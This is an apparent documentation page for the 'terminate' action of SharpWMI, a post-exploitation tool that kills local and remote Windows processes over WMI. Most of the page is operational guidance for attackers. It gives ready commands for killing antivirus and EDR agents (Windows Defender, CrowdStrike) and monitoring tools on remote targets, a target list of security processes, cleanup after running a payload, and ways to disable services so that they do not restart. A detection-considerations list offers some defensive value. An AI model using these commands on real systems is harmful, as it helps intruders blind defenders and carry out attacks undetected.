Skip to main content

​
Overview

The terminate action kills processes on local and remote systems using the Win32_Process.Terminate WMI method. It supports termination by process ID or process name.
The terminate action kills only the first matching process found. For multiple instances of the same process, run the command multiple times.

​
Syntax

SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]] [username=DOMAIN\user] [password=Password]

​
Parameters

ParameterRequiredDescription
actionYesMust be terminate
processYesProcess ID (numeric) or process name
computernameNoTarget host(s), comma-separated. Defaults to localhost
usernameNoUsername for authentication
passwordNoPassword for authentication

​
Usage Examples

​
Terminate by Name

SharpWMI.exe action=terminate process=notepad

​
Terminate by PID

SharpWMI.exe action=terminate process=1234 computername=target.domain.com

​
Example Output

[+] Attempted to terminate remote process (notepad). Returned: 0
Return values:
  • 0 = Success
  • 2 = Access Denied
  • 3 = Insufficient Privilege
  • 8 = Unknown Failure
  • 9 = Path Not Found
  • 21 = Invalid Parameter

​
Operational Use Cases

​
Scenario 1: Kill Security Tools

# Terminate AV processes
SharpWMI.exe action=terminate process=MsMpEng computername=target.domain.com

# Kill EDR agents (use with caution - highly detectable)
SharpWMI.exe action=terminate process=CrowdStrike computername=target.domain.com

# Stop Windows Defender
SharpWMI.exe action=terminate process=MsSense computername=target.domain.com
Terminating security tools is extremely detectable and may trigger immediate alerts. Use only when absolutely necessary.

​
Scenario 2: Clean Up After Operations

# 1. Execute payload
SharpWMI.exe action=exec computername=target command="C:\temp\tool.exe" result=true

# 2. Terminate after completion
SharpWMI.exe action=terminate process=tool computername=target

​
Scenario 3: Kill Monitoring Processes

# Enumerate processes first
SharpWMI.exe action=ps computername=target.domain.com

# Terminate monitoring tools
SharpWMI.exe action=terminate process=procmon computername=target.domain.com
SharpWMI.exe action=terminate process=procexp computername=target.domain.com

​
Scenario 4: Kill Specific PID

# 1. Find process PID
SharpWMI.exe action=ps computername=target.domain.com

# 2. Kill by specific PID
SharpWMI.exe action=terminate process=3456 computername=target.domain.com

​
Process Name Matching

The terminate action uses a partial name match with LIKE '%name%': 
SELECT * FROM Win32_Process WHERE Name LIKE '%notepad%'
This means:
  • process=note will match notepad.exe
  • process=explorer will match explorer.exe
  • process=svchost will match svchost.exe
You don’t need to include .exe extension in process name.

​
Remote vs Local Usage

  • Local Termination
  • Remote Termination
SharpWMI.exe action=terminate process=notepad
When to use:
  • Post-exploitation cleanup
  • Kill local monitoring tools
  • Stop processes after execution
Advantages:
  • No network traffic
  • No authentication required

​
Limitations

First Match Only

Terminates only the first matching process. For multiple instances, run multiple times.

Protected Processes

Cannot terminate protected processes (PPL - Protected Process Light) without kernel access.

System Processes

Some critical system processes may cause system instability or crash if terminated.

Access Requirements

Requires admin privileges and may fail for processes owned by SYSTEM.

​
Detection Considerations

  • Event ID 4689: Process termination
  • Sysmon Event ID 5: Process terminated
  • Unusual process terminations
  • Security tool crashes
  • Monitoring tool shutdowns
  • WMI Terminate method invocation
  • Event ID 5857: WMI activity
  • Remote Win32_Process operations
  • Sysmon Event ID 19-21: WMI activity
  • AV/EDR process termination attempts
  • Multiple process kills in succession
  • Termination of security monitoring
  • Correlation with other malicious activity

​
Best Practices

Operational Security

  • Avoid killing security tools when possible
  • Kill only necessary processes
  • Be aware of detection risks
  • Consider persistence of restarting services

Error Handling

  • Check return values
  • Verify process was actually terminated
  • Handle access denied gracefully
  • Account for protected processes

Target Selection

  • Identify process PID first with ps action
  • Verify ownership before terminating
  • Understand process purpose
  • Consider impact on system stability

Cleanup Strategy

  • Terminate own tools after use
  • Kill temporary processes
  • Remove monitoring before operations
  • Restore services if needed

​
Common Targets

​
Processes to Avoid Terminating

Terminating these processes may cause system instability:
  • csrss.exe - Critical system process
  • smss.exe - Session Manager
  • winlogon.exe - Windows Logon Process
  • services.exe - Service Control Manager
  • lsass.exe - Local Security Authority (system crash)

​
Common Targets

Monitoring Tools:
  • procmon.exe, procexp.exe - Sysinternals
  • wireshark.exe - Network monitoring
  • fiddler.exe - Web proxy
Security Tools:
  • MsMpEng.exe - Windows Defender
  • cb.exe - Carbon Black
  • falcon-sensor.exe - CrowdStrike

​
Troubleshooting

Output: [x] Process notepad not foundCause: No matching processSolution:
  • Verify process is running: SharpWMI.exe action=ps
  • Check process name spelling
  • Process may have already terminated
Cause: Insufficient privilegesSolution:
  • Verify admin credentials
  • Some processes require SYSTEM privileges
  • Use username and password parameters
  • May need to elevate to SYSTEM context
Cause: Process is protected (PPL)Solution:
  • Cannot terminate without kernel access
  • Consider alternative approaches
  • May require driver exploitation
Cause: Service automatically restartsSolution:
  • Stop the service instead of killing process
  • Disable service auto-restart
  • Use service control commands: 
    SharpWMI.exe action=exec command="sc stop ServiceName" result=true
SharpWMI.exe action=exec command="sc config ServiceName start= disabled" result=true

​
Return Value Reference

Return ValueMeaningAction
0Successful completionProcess terminated successfully
2Access deniedUse elevated credentials
3Insufficient privilegeRequires admin/SYSTEM
8Unknown failureCheck process state
9Path not foundProcess doesn’t exist
21Invalid parameterCheck process ID/name

ps

List processes to find targets

exec

Execute processes

query

Query Win32_Process directly

getenv

Get environment variables

​
Alternative Methods

To kill all instances of a process, use a loop or custom query:
# Using exec action with taskkill
SharpWMI.exe action=exec computername=target command="taskkill /F /IM notepad.exe /T" result=true

# Stop service
SharpWMI.exe action=exec computername=target command="sc stop ServiceName" result=true

# Disable service
SharpWMI.exe action=exec computername=target command="sc config ServiceName start= disabled" result=true